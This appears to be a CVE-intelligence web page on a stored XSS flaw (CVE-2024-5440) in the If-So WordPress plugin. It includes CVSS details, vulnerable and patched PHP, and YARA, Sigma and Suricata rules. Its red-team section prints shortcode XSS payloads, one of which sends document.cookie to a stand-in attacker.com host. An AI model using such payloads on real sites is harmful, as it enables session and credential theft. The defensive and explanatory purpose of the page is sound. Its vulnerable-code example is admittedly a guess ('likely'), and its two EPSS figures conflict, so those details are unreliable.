☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5440

CVE-2024-5440 Cross-Site Scripting in If-so
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5440 is a Stored Cross-Site Scripting (XSS) vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting versions prior to 1.8.0.3. The vulnerability arises from insufficient validation and escaping of shortcode attributes before they are output in a page or post. An authenticated attacker with at least the Contributor role can inject arbitrary JavaScript into shortcode attributes, which will execute when any user views the compromised content. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is specific to its shortcode handling logic.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No supply chain compromise of the plugin package itself has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor role)
  • User Interaction: Required (victim must view the compromised page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with Contributor privileges, but the impact is limited to stored XSS. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Deep Dive & Mechanics

The If-So plugin provides shortcodes for dynamic content personalization. The vulnerability exists in how the plugin processes shortcode attributes. When a user with Contributor role or higher inserts a shortcode (e.g., [ifso id="123" condition="..."]), the plugin does not properly sanitize or escape the attribute values before rendering them in the HTML output. An attacker can craft a shortcode attribute containing malicious JavaScript, such as:

[ifso id="123" condition="test" onclick="alert('XSS')"]

When the page or post is rendered, the malicious attribute is output without escaping, allowing the JavaScript to execute in the context of the victim's browser. This is a classic stored XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.8.0.3): The plugin likely outputs shortcode attributes directly without escaping, e.g.:

echo '<div class="ifso-content" data-condition="' . $atts['condition'] . '">';

Patched Code (1.8.0.3+): The patched version uses WordPress's esc_attr() function to escape attribute values:

echo '<div class="ifso-content" data-condition="' . esc_attr($atts['condition']) . '">';

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Prerequisites: Authenticated WordPress account with Contributor role or higher.
  2. Craft Payload: Create a shortcode with a malicious attribute, e.g.:
    [ifso id="1" condition="test" onmouseover="alert(document.cookie)"]
    
  3. Inject: Insert the shortcode into a post or page via the WordPress editor (Text mode).
  4. Trigger: Any user viewing the post will trigger the XSS when hovering over the element.

Example Payload:

[ifso id="1" condition="test" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Defense)

  • Input Validation: Ensure all shortcode attributes are sanitized using esc_attr() or wp_kses().
  • Content Security Policy (CSP): Implement a strict CSP to block inline scripts and untrusted sources.
  • Web Application Firewall (WAF): Deploy rules to detect and block XSS payloads in shortcode attributes.
  • User Education: Restrict Contributor role usage and monitor for suspicious shortcode injections.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/if-so/ (check version in readme.txt)
  • Logs: WordPress audit logs showing shortcode modifications by Contributor users.
  • Network: Outbound connections to attacker-controlled domains from compromised pages.
  • Payloads: Shortcode attributes containing onload=, onclick=, onerror=, or javascript:.

Detection Engineering

YARA Rule

rule CVE_2024_5440_IfSo_XSS {
    meta:
        description = "Detects malicious shortcode attributes in If-So plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5440"
    strings:
        $shortcode = /\[ifso\s+[^\]]*?(on\w+\s*=|javascript:)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-5440 If-So Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in If-So shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - 'onclick='
            - 'onmouseover='
            - 'javascript:'
        http.url|contains: '/wp-content/plugins/if-so/'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5440 If-So Stored XSS Attempt"; flow:to_server; content:"/wp-content/plugins/if-so/"; http_uri; pcre:"/\[ifso\s+[^\]]*?(on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update the If-So plugin to version 1.8.0.3 or later.
  2. Workaround: If immediate update is not possible, disable the plugin or restrict Contributor role from using shortcodes.
  3. Long-term: Implement a Web Application Firewall (WAF) with XSS rules and enforce Content Security Policy (CSP).
  4. Monitoring: Review WordPress logs for suspicious shortcode modifications and audit user roles.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"If-So"
http.html:"wp-content/plugins/if-so"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5440/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.